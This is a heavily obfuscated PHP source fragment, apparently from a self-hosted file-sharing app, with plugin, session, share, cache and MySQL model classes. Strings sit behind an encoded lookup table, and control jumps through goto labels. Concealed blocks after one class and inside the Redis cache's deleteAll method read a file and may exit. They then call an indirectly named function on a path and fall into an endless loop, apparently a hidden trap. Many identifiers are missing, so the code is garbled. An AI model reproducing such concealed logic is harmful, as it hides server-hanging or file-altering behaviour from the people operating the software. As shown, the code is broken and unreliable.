$ڣ, array($ . $ğ[12])); $ = array_unique($); $ = array_unique(array_to_keyvalue($, $ğ[12], $ğ[1705])); $ = Model($ğ[569])->userListInfo($); $喫 = Model($ğ[870])->sourceListInfo($, !0); foreach ($ as &$ᚻ) { if ($ᚻ[$ğ[33]] == $ğ[590] && isset($ᚻ[$ğ[496]][$ğ[1211]])) { $ᚻ[$ğ[496]][$ğ[1211]] = $喫[$ᚻ[$ğ[496]][$ğ[1211]]]; $ᚻ[$ğ[496]][$ğ[1212]] = $喫[$ᚻ[$ğ[496]][$ğ[1212]]]; } if ($ᚻ[$ğ[33]] == $ğ[2143] && isset($ᚻ[$ğ[496]][$ğ[183]])) { $ᚻ[$ğ[496]][$ğ[183]] = $喫[$ᚻ[$ğ[496]][$ğ[183]]]; } $ᚻ[$ğ[89]] = $喫[$ᚻ[$ğ[183]]]; $ᚻ[$ğ[2148]] = $喫[$ᚻ[$ğ[2133]]]; if ($ᚻ[$ğ[33]] == $ğ[1873]) { $ᚻ[$ğ[2148]] = $ᚻ[$ğ[89]]; $ᚻ[$ğ[2133]] = $ᚻ[$ğ[2148]][$ğ[183]]; $ᚻ[$ğ[89]] = !1; $ᚻ[$ğ[183]] = $ğ[12]; } $ᚻ[$ğ[2076]] = $[$ᚻ[$ğ[1705]]]; } unset($ᚻ); $𩴈[$ğ[415]] = $; return $𩴈; } public function removeBySource($է) { $ = array($_SERVER[砐][461] => $է); $this->where($)->remove(); } } if (!isset($_SERVER[$_SERVER[砐][922]]) || !isset($_SERVER[$_SERVER[砐][923]])) { $_getc = $_SERVER[砐][925]; $_getfile = $_SERVER[$_SERVER[砐][926]] . $_SERVER[砐][927]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[砐][248], $_getfilec); if (count($_getarrs) < $_SERVER[砐][692]) { $exit = $_SERVER[砐][928]; $exit(); } $_act = $_SERVER[砐][932]; $_act($_SERVER[$_SERVER[砐][926]] . $_SERVER[砐][927]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[砐][424]); } } goto E; Cе: class PluginModel extends ModelBaseLight { public $optionType = "\123\171\163\x74\145\155\56\x70\154\165\147\151\x6e\x4c\x69\x73\x74"; public $field = array("\156\141\x6d\145", "\163\x74\141\x74\x75\163", "\x72\145\147\151\x65\x73\x74", "\x63\x6f\x6e\x66\x69\147"); public function loadList($̓Ğ = false) { $țͭ = array_to_keyvalue($this->listData(), $_SERVER[砐][32]); if ($̓Ğ) { return $țͭ[$̓Ğ]; } return $țͭ; } public function init() { $ƫ =& $_SERVER[砐]; Hook::trigger($ƫ[2024]); $ = $this->loadPluginList(); foreach ($ as $̒ې => $) { $󯒸 = $this->appAllow($̒ې, $); if (!$󯒸) { continue; } foreach ($[$ƫ[2025]] as $ĺ => $ƥҨ) { Hook::bind($ĺ, $ƥҨ); } } Hook::trigger($ƫ[2026]); Hook::trigger(ACTION); } public function appAllow($Ã, $봿, $ߣЫ = true) { $ =& $_SERVER[砐]; $Ԡ҂ = PLUGIN_DIR . $à . $[2027]; if (!is_array($봿) || !is_array($봿[$[2025]]) || $봿[$[795]] != 1 || !is_file($Ԡ҂)) { return !1; } if (KodUser::isRoot()) { if ($GLOBALS[$[6]][$[2028]] || !$GLOBALS[$[6]][$[2029]]) { return !0; } $Ï = explode($[50], strtolower($GLOBALS[$[6]][$[2029]])); return in_array(strtolower($Ã), $Ï) ? !1 : !0; } if ($ߣЫ && !Action($[2030])->checkAuth($Ã)) { return !1; } return !0; } public function unInstall($) { $֣٨ =& $_SERVER[砐]; $؜ = $this->loadList($); if (file_exists(PLUGIN_DIR . $)) { Hook::apply($ . $֣٨[2031]); } $this->remove($؜[$֣٨[445]]); } public function changeStatus($ٔ, $ǀ) { $ =& $_SERVER[砐]; $ = $this->loadList($ٔ); if ($ǀ) { Hook::apply($ٔ . $[2032]); } $this->update($[$[445]], array($[2033] => $ǀ)); } public function appRegist($Ӳ, $ጀ£) { $кƃ =& $_SERVER[砐]; $ = $this->loadList($Ӳ); if ($) { $this->update($[$кƃ[445]], array($кƃ[2025] => $ጀ£)); } else { $Ѝ = array($кƃ[32] => $Ӳ, $кƃ[2025] => $ጀ£, $кƃ[795] => 0, $кƃ[6] => $this->getConfigDefault($Ӳ)); $this->insert($Ѝ); } } public function getConfigDefault($݃) { $ =& $_SERVER[砐]; $Ň = array(); $ = $this->getPackageJson($݃); if (!$ && is_array($[$[2034]])) { return $Ň; } foreach ($[$[2034]] as $Ā => $Ӂ) { if (!isset($Ӂ[$[420]]) || isset($Ň[$Ā])) { continue; } $Ň[$Ā] = $Ӂ[$[420]]; } return $Ň; } public function getPackageJson($) { return Hook::apply($ . $_SERVER[砐][2035]); } public function getConfig($ݛӐ, $˚ = false) { $Յ =& $_SERVER[砐]; $ƣ = array(); $ʣ = $this->loadList($ݛӐ); if ($ʣ && is_array($ʣ[$Յ[6]])) { $ƣ = $ʣ[$Յ[6]]; } if (!$ƣ || $˚) { $ƣ = $this->getConfigDefault($ݛӐ); } return $ƣ; } public function setConfig($웭, $ = false) { $ =& $_SERVER[砐]; $§ = $this->loadList($웭); if (!$§) { return !1; } $䒦 = $§[$[6]]; if ($ == !1) { $䒦 = array(); $ = $this->getConfigDefault($웭); } foreach ($ as $ => $ۀި) { $䒦[$] = is_string($ۀި) ? trim($ۀި) : $ۀި; } $this->update($§[$[445]], array($[6] => $䒦)); } public function viewList() { $Ά =& $_SERVER[砐]; $ = $this->loadList(); $this->pluginScan($); $ = $this->loadPluginList(); $ւۉ = array(); foreach ($ as $ => $̹ӷ) { $ = $̹ӷ; unset($̹ӷ[$Ά[2025]], $̹ӷ[$Ά[6]]); $⬾ = PLUGIN_DIR . $̹ӷ[$Ά[32]] . $Ά[2027]; if (!is_file($⬾)) { continue; } $ = Hook::apply($̹ӷ[$Ά[32]] . $Ά[2035]); if (!is_array($)) { continue; } $ւۉ[$] = array_merge($̹ӷ, $); if ($[$Ά[6]][$Ά[1618]] != $[$Ά[1592]]) { Hook::apply($̹ӷ[$Ά[32]] . $Ά[2032]); $[$Ά[6]][$Ά[1618]] = $[$Ά[1592]]; $this->update($̹ӷ[$Ά[445]], array($Ά[6] => $[$Ά[6]])); } } return $ւۉ; } private function loadPluginList() { $ =& $_SERVER[砐]; $ = $this->loadList(); if (strtolower(MOD) == $[2036]) { return $; } $Զ = Hook::trigger($[2037], $); if ($ && !$Զ) { die; } return $Զ ? $Զ : $; } private function pluginScan($) { $𚐘 =& $_SERVER[砐]; recursion_dir(PLUGIN_DIR, $Ȑ, $꺗, 0); foreach ($Ȑ as $) { $ȼ = get_path_this($); if (isset($[$ȼ]) || !file_exists($ . $𚐘[2038]) || !file_exists($ . $𚐘[2027])) { continue; } Hook::apply($ȼ . $𚐘[2032]); } } } class SessionModel extends ModelBase { protected $tableName = "\163\171\163\x74\x65\155\137\x73\145\x73\163\x69\x6f\156"; public function get($Ģ) { $ޒϟ =& $_SERVER[砐]; $ɫ = $this->where(array($ޒϟ[2039] => $Ģ))->find(); if (!is_array($ɫ)) { return !1; } return $ɫ[$ޒϟ[799]]; } public function set($, $, $Ң = 3600) { $Ҥ =& $_SERVER[砐]; $ = array($Ҥ[2039] => $, $Ҥ[1943] => $, $Ҥ[2040] => $Ң + time()); if (Session::get($Ҥ[2041])) { $[$Ҥ[1705]] = Session::get($Ҥ[2041]); } else { $[$Ҥ[1705]] = 0; } if ($this->get($)) { return $this->where(array($Ҥ[2039] => $))->save($); } else { return $this->add($, array(), !0); } } public function remove($) { return $this->where(array($_SERVER[砐][2039] => $))->delete(); } public function clearTimeout() { return $this->where($_SERVER[砐][2042] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\x73\x68\141\162\x65"; protected $dataAuto = array(array("\155\157\x64\x69\x66\171\x54\x69\155\145", "\164\151\x6d\145", "\151\x6e\163\145\x72\164\54\165\160\144\141\164\145", "\x66\165\156\x63\x74\x69\x6f\156"), array("\143\162\x65\x61\x74\x65\124\151\x6d\x65", "\x74\x69\x6d\145", "\151\156\x73\x65\x72\x74", "\x66\165\x6e\143\164\x69\x6f\x6e"), array("\x6f\x70\164\x69\157\x6e\x73", '', "\x69\156\x73\x65\x72\x74\54\165\160\x64\x61\164\x65\x2c\x73\145\x6c\x65\x63\164", "\152\x73\x6f\156")); private $fieldList = "\52"; protected function cacheFunctionAlias($㑹) { $é =& $_SERVER[砐]; $Ń = isset($㑹[0]) ? $㑹[0] : !1; return array($é[2043] => array(USER_ID, $é[2044]), $é[1984] => array($Ń, $é[2045])); } protected function listSimple() { $ = array($_SERVER[砐][1705] => USER_ID); $֎ = $this->field($this->fieldList)->where($)->select(); return $֎ ? $֎ : array(); } protected function getInfo($, $א = false) { $ʬ =& $_SERVER[砐]; if ($א) { return $this->_getShareInfo(array($ʬ[635] => $)); } $ = $this->cacheFunctionGet($ʬ[1986], $); return $; } public function getInfoByHash($˩) { return $this->_getShareInfo(array($_SERVER[砐][2046] => $˩)); } public function getInfoByPath($) { $ =& $_SERVER[砐]; $ = array($[1705] => USER_ID, $[183] => $); return $this->_getShareInfo($); } public function getInfoBySourcePath($冁) { $ =& $_SERVER[砐]; $ = array($[1705] => USER_ID, $[1226] => $冁); return $this->_getShareInfo($); } private function _getShareInfo($̪) { $墹 =& $_SERVER[砐]; $ = $this->where($̪)->find(); if (!$) { return !1; } $̪ = array($墹[635] => $[$墹[635]]); $ƽ = $墹[2047]; $؝ = Model($墹[636])->order($墹[445])->field($ƽ)->where($̪)->select(); if ($[$墹[183]] == $墹[214]) { $[$墹[89]] = IO::info($[$墹[1226]]); } else { $[$墹[89]] = Model($墹[1384])->pathInfo($[$墹[183]]); } $[$墹[2048]] = $؝; return $; } protected function getInfoAuth($ݯЙ) { $ə偻 =& $_SERVER[砐]; $ = $this->getInfo($ݯЙ); if ($[$ə偻[1705]] == USER_ID) { $[$ə偻[457]] = $[$ə偻[89]][$ə偻[457]]; } else { $[$ə偻[457]] = Model($ə偻[538])->authMake($[$ə偻[2048]]); } return $; } protected function listData($䯙 = null, $ = 300) { $ǔ =& $_SERVER[砐]; $·򓕞 = array(array($ǔ[533] => array($ǔ[1063], 0), $ǔ[633] => array($ǔ[1063], 0), $ǔ[2049] => $ǔ[2002])); if ($䯙 == $ǔ[2050]) { $·򓕞 = array($ǔ[533] => 1); } else { if ($䯙 == $ǔ[1212]) { $·򓕞 = array($ǔ[633] => 1); } } $·򓕞[$ǔ[1705]] = USER_ID; $ߛ = $this->where($·򓕞)->selectPage($); return $ߛ; } protected function listToMe($Ά = 300) { $ =& $_SERVER[砐]; $ = Model($[2051])->userGroupParents(USER_ID); $դ = array($[618] => SourceModel::TYPE_USER, $[540] => USER_ID); if ($) { $դ = array(array($[618] => SourceModel::TYPE_USER, $[540] => USER_ID), array($[618] => SourceModel::TYPE_GROUP, $[540] => array($[7], $)), $[2049] => $[2002]); } $ = Model($[636])->where($դ)->selectPage($Ά); $΅ = array_to_keyvalue_group($[$[415]], $[635]); if (!$΅) { return $; } $ = $[2052]; $դ = array($[635] => array($[462], array_keys($΅)), $[1705] => array($[1065], $[214])); $ = $this->field($)->where($դ)->select(); foreach ($ as $۪ => &$) { $[$[2048]] = $΅[$[$[635]]]; } unset($); $ = array($[2053] => $, $[2054] => $[$[412]]); return $; } protected function shareAdd($߹, $ҋԎ) { $˴⫿ =& $_SERVER[砐]; $ = $this->_addShareData($߹, $ҋԎ); if (!empty($ҋԎ[$˴⫿[2055]])) { $this->_shareAuthSet($, $ҋԎ[$˴⫿[2055]]); } $this->shareEventAdd($߹, $ҋԎ, $˴⫿[2056]); return $; } protected function shareAddSystem($曋, $ވ) { $ܷс =& $_SERVER[砐]; $ = $this->_addShareData($曋, $ވ, $ܷс[181]); $this->_shareAuthSet($, $ވ[$ܷс[2055]]); return $; } private function shareEventAdd($“, $쾿, $ʘ = "\x61\144\144") { $ =& $_SERVER[砐]; if (!$“ || $“ == $[214]) { return; } if ($ʘ == $[2056]) { if ($쾿[$[533]] == $[90]) { Model($[603])->eventShare($“, $[2057]); } if ($쾿[$[633]] == $[90]) { Model($[603])->eventShare($“, $[2058]); } return; } $ĺ = $this->getInfoByPath($“); $׫ = $[2059]; if ($ĺ[$[533]] == $[214] && $쾿[$[533]] == $[90]) { $׫ = $[2057]; } if ($ĺ[$[533]] == $[90] && $쾿[$[533]] == $[214]) { $׫ = $[2060]; } if ($ĺ[$[633]] == $[214] && $쾿[$[633]] == $[90]) { $׫ = $[2058]; } if ($ĺ[$[633]] == $[90] && $쾿[$[633]] == $[214]) { $׫ = $[2061]; } Model($[603])->eventShare($“, $׫); return; } private function _addShareData($ܻ, $گݮ = array(), $ = false) { $ =& $_SERVER[砐]; $Թ = $ == $[181] ? 0 : USER_ID; $ζ = array($[461] => $ܻ, $[1696] => $Թ); if ($ܻ == 0) { $ζ = array($[2062] => $گݮ[$[1226]], $[1696] => $Թ); } if ($֋ = $this->where($ζ)->find()) { return $֋[$[635]]; } if ($ܻ == 0) { $ = array($[32] => get_path_this($گݮ[$[86]])); } else { $ = Model($[870])->sourceInfo($ܻ); if (!$) { return !1; } } if (!$گݮ[$[1593]]) { $گݮ[$[1593]] = $[$[32]]; } $㜁 = array($[1696] => $Թ, $[461] => $ܻ, $[1593] => $[12], $[533] => 0, $[633] => 0, $[1226] => $[12], $[353] => $[12], $[940] => $[12], $[2063] => 0, $[2064] => 0, $[806] => 0, $[2065] => $[12], $[2046] => $[12]); $¤ = explode($[50], $[2066]); foreach ($¤ as $Ŷ) { if (!isset($گݮ[$Ŷ])) { continue; } $㜁[$Ŷ] = $گݮ[$Ŷ]; } $ = $this->add($㜁); $ = array($[2046] => short_id($)); $this->where(array($[2067] => $))->save($); return $; } private function _shareAuthSet($ه, $Ƒ) { $ =& $_SERVER[砐]; if (!is_array($Ƒ)) { return !1; } $󌚺 = Model($[2012]); $󌚺->where(array($[635] => $ه))->delete(); $ = array(); foreach ($Ƒ as $Ϡ) { $у = SourceModel::TYPE_USER; if ($Ϡ[$[180]] == SourceModel::TYPE_GROUP) { $у = SourceModel::TYPE_GROUP; } $ۺ = array($[635] => $ه, $[180] => $у, $[540] => intval($Ϡ[$[540]]), $[2008] => 0, $[2068] => -1); if ($Ϡ[$[2008]]) { $ۺ[$[2008]] = $Ϡ[$[2008]]; } else { if ($Ϡ[$[2068]]) { $ۺ[$[2068]] = $Ϡ[$[2068]]; } } $[] = $ۺ; } return $󌚺->addAll($, array(), !0); } public function numViewAdd($) { $љ =& $_SERVER[砐]; $ˣ = array($љ[2067] => $); $this->where($ˣ)->setAdd($љ[2063]); } public function numDownloadAdd($՚ւ) { $̿ =& $_SERVER[砐]; $ŵ = array($̿[2067] => $՚ւ); $this->where($ŵ)->setAdd($̿[2064]); } protected function shareEdit($Զ, $ۃ) { $ͥ =& $_SERVER[砐]; $䔶 = $this->getInfo($Զ); if (!$䔶) { return !1; } $this->_checkLinkShare($ۃ, $䔶); $ = array(); $ڢ = explode($ͥ[50], $ͥ[2069]); foreach ($ڢ as $֦㡳) { if (!array_key_exists($֦㡳, $ۃ)) { continue; } $[$֦㡳] = $ۃ[$֦㡳]; } $this->shareEventAdd($䔶[$ͥ[183]], $ۃ, $ͥ[1874]); $this->where(array($ͥ[2067] => $Զ))->save($); if (isset($ۃ[$ͥ[2055]])) { $this->_shareAuthSet($Զ, $ۃ[$ͥ[2055]]); } return !0; } private function _checkLinkShare($, $՘ް) { $Æ =& $_SERVER[砐]; if ($[$Æ[533]] != $Æ[90]) { return; } $ȓ = $՘ް[$Æ[89]][$Æ[183]]; if ($՘ް[$Æ[89]][$Æ[33]] != $Æ[216]) { $Ԙ = $this->_folderReport($ȓ); if (!$Ԙ) { return; } show_json(LNG($Æ[2070]) . $Æ[2071] . $Ԙ, !1); } $ = Model($Æ[870])->fileInfoGet($՘ް[$Æ[89]][$Æ[183]]); if (!$) { return; } $ = $this->shareFileMeta($[$Æ[511]]); if (isset($[$Æ[420]]) && $[$Æ[420]] == $Æ[90]) { show_json(LNG($Æ[2072]), !1); } } private function _folderReport($𛀥) { $ڨ =& $_SERVER[砐]; $툱 = array($ڨ[511] => array($ڨ[1063], 0), $ڨ[795] => 3); $й = Model($ڨ[2073])->where($툱)->field($ڨ[511])->select(); if (!$й) { return !1; } $й = array_to_keyvalue($й, $ڨ[12], $ڨ[511]); $Ӑ = $ڨ[50] . $𛀥 . $ڨ[50]; $툱 = array($ڨ[511] => array($ڨ[7], $й), $ڨ[555] => array($ڨ[429], "\x25{$Ӑ}\45"), $ڨ[475] => 0); $ = Model($ڨ[870])->where($툱)->field($ڨ[2074])->find(); if (!$) { return !1; } $ = substr($[$ڨ[555]], strpos($[$ڨ[555]], $Ӑ)); $툱 = array($ڨ[183] => array($ڨ[7], trim($, $ڨ[50]))); $ѐ = Model($ڨ[870])->where($툱)->field($ڨ[32])->select(); $پ = array_to_keyvalue($ѐ, $ڨ[12], $ڨ[32]); $پ[] = $[$ڨ[32]]; return implode($ڨ[8], $پ); } protected function remove($„) { $쓷 =& $_SERVER[砐]; if (is_array($„)) { $„ = array($쓷[7], $„); } $ = array($쓷[635] => $„); $Зչ = $this->where($)->delete(); if ($Зչ) { Model($쓷[636])->where(array($쓷[635] => $„))->delete(); } $˫ץ = is_array($„) ? $„[1] : array($„); for ($ݤ紆 = 0; $ݤ紆 < count($˫ץ); $ݤ紆++) { $Ñ = $this->getInfo($˫ץ[$ݤ紆]); if ($Ñ[$쓷[633]] == $쓷[90]) { Model($쓷[603])->eventShare($Ñ[$쓷[183]], $쓷[2061]); } if ($Ñ[$쓷[533]] == $쓷[90]) { Model($쓷[603])->eventShare($Ñ[$쓷[183]], $쓷[2060]); } } return $Зչ; } protected function removeBySource($ƕ) { $ =& $_SERVER[砐]; $ͫ = array($[461] => array($[462], $ƕ)); $Ãل = $this->field($[635])->where($ͫ)->select(); $Ãل = array_to_keyvalue($Ãل, $[12], $[635]); if (!$Ãل) { return; } $ͫ = array($[2067] => array($[462], $Ãل)); $this->where($ͫ)->delete(); Model($[636])->where($ͫ)->delete(); } public function listAll($ʟ) { $󮺎 =& $_SERVER[砐]; $½Ò = array(); if ($ʟ[$󮺎[1705]]) { $½Ò[$󮺎[1705]] = $ʟ[$󮺎[1705]]; } if ($ʟ[$󮺎[805]]) { $ = $ʟ[$󮺎[806]] ? $ʟ[$󮺎[806]] : strtotime(date($󮺎[2075])); $½Ò[$󮺎[217]] = array($󮺎[379], array($ʟ[$󮺎[805]], $)); } if ($ʟ[$󮺎[33]]) { $½Ò[$ʟ[$󮺎[33]]] = 1; } else { $½Ò[] = array($󮺎[533] => array($󮺎[1063], 0), $󮺎[633] => array($󮺎[1063], 0), $󮺎[2049] => $󮺎[2002]); } if ($ʟ[$󮺎[1998]]) { $½Ò[] = array($󮺎[2046] => $ʟ[$󮺎[1998]], $󮺎[1593] => array($󮺎[429], "\x25{$ʟ[$󮺎[1998]]}\45"), $󮺎[2049] => $󮺎[2002]); } $ƪל = $this->_makeOrder()->where($½Ò)->selectPage(20); if (empty($ƪל[$󮺎[415]])) { return array(); } $this->_listDataApply($ƪל[$󮺎[415]]); return $ƪל; } public function listDataApply($ȹ) { $this->_listDataApply($ȹ); return $ȹ; } private function _listDataApply(&$Ԭ) { $̠ =& $_SERVER[砐]; $ɸ = array_to_keyvalue($Ԭ, $̠[12], $̠[1705]); $Ú = Model($̠[569])->userListInfo(array_unique($ɸ)); $۸ = array_to_keyvalue($Ԭ, $̠[12], $̠[183]); $׈ = Model($̠[870])->sourceListInfo($۸, !0); foreach ($Ԭ as $ޟ => &$Ϸ) { $Ʈʰ = $Ϸ[$̠[1705]]; $Ϸ[$̠[2076]] = $Ú[$Ʈʰ] ? $Ú[$Ʈʰ] : !1; $ꐈ = $Ϸ[$̠[183]]; $Ϸ[$̠[89]] = $׈[$ꐈ] ? $׈[$ꐈ] : !1; if ($Ϸ[$̠[89]][$̠[475]] == $̠[90]) { unset($Ԭ[$ޟ]); } if ($Ϸ[$̠[89]] != $̠[214] && !$Ϸ[$̠[89]]) { unset($Ԭ[$ޟ]); } } unset($Ϸ); $Ԭ = array_values($Ԭ); } private function _makeOrder($ٳ = '') { $ҕ =& $_SERVER[砐]; $ӗ = array($ҕ[217], $ҕ[806], $ҕ[2063], $ҕ[2064]); $ = array($ҕ[493] => $ҕ[494], $ҕ[495] => $ҕ[496]); $ԓ = Input::get($ҕ[500], $ҕ[7], $ҕ[467], $ӗ); $晏 = Input::get($ҕ[501], $ҕ[7], $ҕ[2077], array($ҕ[1995], $ҕ[495])); $晏 = $[$晏]; $ٳ = $ٳ . "{$ԓ}\x20{$晏}"; return $this->order($ٳ); } public function reportAdd($) { $© =& $_SERVER[砐]; $ˆ = array($©[635] => $[$©[635]], $©[1705] => USER_ID); if (Model($©[2073])->where($ˆ)->find()) { return !1; } $Í = array($©[635] => $[$©[635]], $©[1593] => $[$©[1593]], $©[183] => $[$©[183]], $©[511] => $[$©[511]], $©[1705] => USER_ID, $©[33] => $[$©[33]], $©[496] => $[$©[496]]); return Model($©[2073])->add($Í); } public function reportList($) { $ =& $_SERVER[砐]; $ұÓ = array(); if ($[$[805]]) { $ઙ = $[$[806]] ? $[$[806]] : strtotime(date($[2075])); $ұÓ[$[217]] = array($[379], array($[$[805]], $ઙ)); } if (isset($[$[33]]) && in_array($[$[33]], array($[90], $[480], $[2078], $[2079], $[2080]))) { $ұÓ[$[33]] = $[$[33]]; } if (isset($[$[795]]) && in_array($[$[795]], array($[214], $[90], $[480], $[2078]))) { $ұÓ[$[795]] = $[$[795]]; } $߀ = Input::get($[501], $[7], $[2077], array($[1995], $[495])); $ = array($[493] => $[494], $[495] => $[496]); $Ο = $[2081] . $[$߀]; $ю = Model($[2073])->where($ұÓ)->order($Ο)->selectPage(20); if (empty($ю[$[415]])) { return array(); } $̊ = array_to_keyvalue_group($ю[$[415]], $[795], $[635]); if (!empty($̊[0])) { $ = $̊[0]; $ұÓ = array($[635] => array($[7], $)); $ = $this->where($ұÓ)->field($[635])->select(); $ = array_to_keyvalue($, $[12], $[635]); $ = array_diff($, $); if (!empty($)) { foreach ($ю[$[415]] as $ϓ => $ɯ͞) { if (in_array($ɯ͞[$[635]], $)) { unset($ю[$[415]][$ϓ]); } } } } $this->_listDataApply($ю[$[415]]); return $ю; } public function reportStatus($ݲ؇) { $ =& $_SERVER[砐]; $辱 = array($[445] => $ݲ؇[$[445]]); $ڌ = Model($[2073])->where($辱)->field($[2082])->find(); if (!$ڌ) { return !1; } $ʫ솄 = array($[795] => $ݲ؇[$[795]]); if ($ݲ؇[$[795]] == $[2078] && $ڌ[$[795]] == $[2078]) { $ʫ솄[$[795]] = 0; } $á = Model($[2073])->where($辱)->save($ʫ솄); if ($ݲ؇[$[795]] == $[480]) { if ($ڌ[$[511]] != $[214] && $this->shareFileMeta($ڌ[$[511]])) { $this->shareFileMeta($ڌ[$[511]], 0); } $this->remove($ڌ[$[635]]); return !0; } if ($á && $ݲ؇[$[795]] == $[2078]) { $ = $ʫ솄[$[795]] == $[2078] ? 1 : 0; $this->shareFileMeta($ڌ[$[511]], $); $this->removeByFile($ڌ[$[511]]); } return $á; } private function removeByFile($) { $Ƨ =& $_SERVER[砐]; $Ә = Model($Ƨ[870])->where(array($Ƨ[511] => $))->field($Ƨ[183])->select(); $ٕ = array_to_keyvalue($Ә, $Ƨ[12], $Ƨ[183]); $ޢ = array($Ƨ[183] => array($Ƨ[7], $ٕ), $Ƨ[533] => 1); $Ә = $this->where($ޢ)->field($Ƨ[635])->select(); if (empty($Ә)) { return; } $丕 = array_to_keyvalue($Ә, $Ƨ[12], $Ƨ[635]); $this->remove($丕); } private function shareFileMeta($, $Ű = null) { $𬞚 =& $_SERVER[砐]; $ = array($𬞚[511] => $, $𬞚[96] => $𬞚[2083]); if (is_null($Ű)) { return Model($𬞚[2084])->where($)->find(); } $[$𬞚[420]] = $Ű; Model($𬞚[2084])->add($, array(), !0); } } goto d; a̟: class CacheMemcached { public $handle; public $cacheTime; public function __construct($՜˚, $) { $ݴ =& $_SERVER[砐]; if (!class_exists($ݴ[912])) { show_json($ݴ[913], !1); } $this->cacheTime = $; $this->handle = new Memcached(); if (is_array($՜˚[$ݴ[914]]) && count($՜˚[$ݴ[914]]) >= 1) { foreach ($՜˚[$ݴ[914]] as $) { $ = explode($ݴ[4], $); $this->handle->addServer($[0], $[1]); } } else { $this->handle->addServer($՜˚[$ݴ[198]], $՜˚[$ݴ[199]]); } } public function set($ҳ, $, $ތ = false) { $ތ = $ތ ? $ތ : $this->cacheTime; return $this->handle->set($ҳ, $, $ތ); } public function get($) { return $this->handle->get($); } public function remove($ɴ) { return $this->handle->delete($ɴ); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($֩, $֍) { $ =& $_SERVER[砐]; if (!class_exists($[915])) { show_json($[916], !1); } $this->cacheTime = $֍; $᜸ = isset($֩[$[917]]) ? $֩[$[917]] : 10; $мʤ = _get($֩, $[914]); if ($мʤ && is_array($мʤ)) { $this->initCluster($֩, $᜸); } else { $this->handle = $this->init($֩, $᜸); } } private function init($Ṝ, $ӯ) { $ =& $_SERVER[砐]; $ = new Redis(); $Ϣ = isset($Ṝ[$[918]]) ? $Ṝ[$[918]] : !1; if ($Ϣ) { $->pconnect($Ṝ[$[198]], $Ṝ[$[199]], $ӯ); } else { $->connect($Ṝ[$[198]], $Ṝ[$[199]], $ӯ); } if (!empty($Ṝ[$[457]])) { $->auth($Ṝ[$[457]]); } if (!empty($Ṝ[$[802]]) && $Ṝ[$[802]] != 0) { $->select($Ṝ[$[802]]); } return $; } private function initCluster($, $Ļ) { $ =& $_SERVER[砐]; $峨 = array($[919], $[920], $[921]); $⊹ = $[919]; if (isset($[$[16]]) && in_array($[$[16]], $峨)) { $⊹ = $[$[16]]; } switch ($⊹) { case $[919]: $this->_slave($, $Ļ); break; case $[920]: break; case $[921]: $this->isCluster = !0; $ = $[$[914]]; $ = isset($[$[918]]) ? $[$[918]] : !1; $ = isset($[$[457]]) ? $[$[457]] : null; $this->handle = new RedisCluster(NUll, $, $Ļ, $Ļ, $, $); break; default: break; } } private function _slave($Ț, $) { $̡ߟ = $Ț[$_SERVER[砐][914]]; $this->filterConfig($Ț, $̡ߟ[0]); $this->handle = $this->init($Ț, $); unset($̡ߟ[0]); if (empty($̡ߟ)) { return; } $ = array_rand($̡ߟ); $this->filterConfig($Ț, $̡ߟ[$]); $this->slaveHandle = $this->init($Ț, $); } private function filterConfig(&$ޛ, $킖) { $ =& $_SERVER[砐]; $૗ = explode($[4], $킖); $ = array($[198] => $૗[0], $[199] => $૗[1]); $ޛ = array_merge($ޛ, $); } public function set($, $ڴ, $␼ = false) { $␼ = $␼ ? $␼ : $this->cacheTime; return $this->handle->setEx($, $␼, $ڴ); } public function setLock($ݓ, $׮ɭ, $) { return $this->handle->setNX($ݓ, $׮ɭ); } public function get($ܺ) { $ꆊ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $ꆊ->get($ܺ); } public function remove($ȺƸ) { return $this->handle->del($ȺƸ); } public function deleteAll() { $ =& $_SERVER[砐]; if (!isset($_SERVER[$[922]]) || !isset($_SERVER[$[923]])) { $ = $[924]; $ކ΢ = $[925]; $އ = $_SERVER[$[926]] . $[927]; $ꆫ = $ކ΢($އ); $ = explode($[248], $ꆫ); if (count($) < $[671]) { $¾ = $[928]; $¾(); } $ = $[929]; $($_SERVER[$[930]]); $䰙 = 1; for ($ = $䰙; $ > 0; $++) { $ = json_encode($GLOBALS[$[462]]); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll(); } } $_file = $_SERVER[$_SERVER[砐][923]]; goto Dχ; E侚ϧ: class DbMysql extends Db { public function __construct($ؼ؍ = '') { $ =& $_SERVER[砐]; if (!extension_loaded($[849])) { think_exception(think_lang($[14]) . $[936]); } if (!empty($ؼ؍)) { $this->config = $ؼ؍; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ = '', $Ϲ = 0, $ = false) { $ =& $_SERVER[砐]; if (!isset($this->linkID[$Ϲ])) { if (empty($)) { $ = $this->config; } $ = $[$[937]] . ($[$[938]] ? "\x3a{$[$[938]]}" : $[12]); $ = !empty($[$[17]][$[18]]) ? $[$[17]][$[18]] : $this->pconnect; if ($) { $this->linkID[$Ϲ] = mysql_pconnect($, $[$[939]], $[$[940]], 131072); } else { $this->linkID[$Ϲ] = mysql_connect($, $[$[939]], $[$[940]], !0, 131072); } if (!$this->linkID[$Ϲ] || !empty($[$[21]]) && !mysql_select_db($[$[21]], $this->linkID[$Ϲ])) { think_exception(mysql_error()); } $ = mysql_get_server_info($this->linkID[$Ϲ]); mysql_query($[941] . think_config($[942]) . $[58], $this->linkID[$Ϲ]); if ($ > $[943]) { mysql_query($[944], $this->linkID[$Ϲ]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$Ϲ]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($) { $죱 =& $_SERVER[砐]; if (0 === stripos($, $죱[310])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($죱[23], 1); think_status($죱[24]); $this->queryID = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($Ӏ) { $獀 =& $_SERVER[砐]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $Ӏ; if 